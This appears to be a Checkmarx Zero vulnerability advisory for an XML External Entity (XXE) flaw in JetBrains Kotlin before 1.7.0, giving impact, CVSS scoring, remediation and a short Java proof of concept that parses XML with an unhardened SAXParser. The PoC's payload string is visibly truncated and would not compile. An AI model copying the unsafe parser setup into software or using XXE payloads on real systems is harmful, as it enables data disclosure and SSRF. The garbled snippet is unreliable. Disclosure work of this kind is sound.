---
title: "CX-2022-5011"
date: "2022-01-15T07:00:00+00:00"
url: "https://checkmarx.com/zero/vulnerabilities/cx-2022-5011/"
---

# CX-2022-5011

[Disclosed vulnerabilities](https://checkmarx.com/zero/vulnerabilities/)

No CVE assigned  **Published:** Jan 15, 2022

8.2 High Severity JetBrains Kotlin XML Injection XXE

R ready-research  Reported by Checkmarx Zero

Details Overview

## Summary

JetBrains/Kotlin is vulnerable to an XML External Entity Injection (XXE) attack when processing XML data.  
This issue was fixed in version 1.7.0.

## Product

`JetBrains/Kotlin` before version 1.7.0.

## Impact

A remote attacker can exploit this vulnerability to expose sensitive information or consume memory resources.

## Steps to reproduce

```
#Extracted out the key function in the vulnerable code to showcase how it can be exploited.
import javax.xml.parsers.SAXParser;
import javax.xml.parsers.SAXParserFactory;
import org.xml.sax.HandlerBase;
import java.io.ByteArrayInputStream;

public class Poc {

    public static void main(String[] args) {
        try {
            String xmlpoc = "<?xml version="1.0"?>]><foo>&xxe;</foo>";
            SAXParser saxParser = SAXParserFactory.newInstance().newSAXParser();
            saxParser.parse(new ByteArrayInputStream(xmlpoc.getBytes()), new HandlerBase());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
```

### Expected result:

```
This vulnerability is capable of XXE to disclose data/conduct SSRF attacks etc.
```

## Remediation

Update `JetBrains/Kotlin` to version 1.7.0 or above.

## Resources

1. [Disclosure](https://huntr.dev/bounties/e9b2b1dd-ab65-48e2-8042-b53253649961/)
2. [Commit](https://github.com/JetBrains/kotlin/commit/9c78d57de27ec9c561f8aa943033463129113a56)
3. [Vulnerable code](https://github.com/JetBrains/kotlin/blob/1274e2b90a2da93a745f1417b2ae3822809304be/compiler/cli/cli-common/src/org/jetbrains/kotlin/cli/common/modules/ModuleXmlParser.java#L88)

0  High Severity CVSS v3.1 Score

   8.2

CVSS v3.1 Vectors- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: None
- Availability Impact: Low

Advisory Timeline1. Disclosed Jan 15, 2022 Kotlin is vulnerable to an XML External Entity Injection (XXE) attack when processing XML data. A remote attacker could exploit this vulnerability to expose sensitive information or consume memory resources. This issue was fixed in version 1.7.0.

## Explore more findings

[27 Nov 2025 CVE-2025-34281  Stored Cross-Site Scripting (XSS) in ThingsBoard   6.2  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-34281/) [17 Jan 2025 CVE-2025-0825  HTTP Response Splitting in cpp-httplib   6.9  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-0825/) [17 Jun 2025 CVE-2025-6050  Stored Cross-Site Scripting (XSS) in Mezzanine CMS Admin Interface   4.8  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-6050/) [12 Dec 2024 CVE-2024-8374  Code Injection in UltiMaker Cura   7.8  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-8374/) [14 Nov 2024 CVE-2024-52526  Stored Cross-site Scripting in @LibreNMS/LibreNMS Services Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-52526/) [14 Nov 2024 CVE-2024-51497  Stored Cross-site Scripting in @LibreNMS/LibreNMS Custom OID Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51497/) [14 Nov 2024 CVE-2024-51496  Reflected Cross-site Scripting in @LibreNMS/LibreNMS /wireless and /health endpoints   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51496/) [  14 Nov 2024 CVE-2024-51495  Stored Cross-site Scripting in @LibreNMS/LibreNMS Device Overview `overwrite\_ip` Field   7.5  Visit the page ](https://checkmarx.com/zero/vulnerabilities/cve-2024-51495/) [14 Nov 2024 CVE-2024-51494  Stored Cross-site Scripting in @LibreNMS/LibreNMS Port Settings   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51494/) [14 Nov 2024 CVE-2024-50352  Stored Cross-site Scripting in @LibreNMS/LibreNMS Services Section of Device Overview   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50352/) [14 Nov 2024 CVE-2024-50351  Reflected Cross-site Scripting in @LibreNMS/LibreNMS Logs Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50351/) [14 Nov 2024 CVE-2024-50350  Stored Cross-site Scripting in @LibreNMS/LibreNMS Port Settings Port Group   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50350/)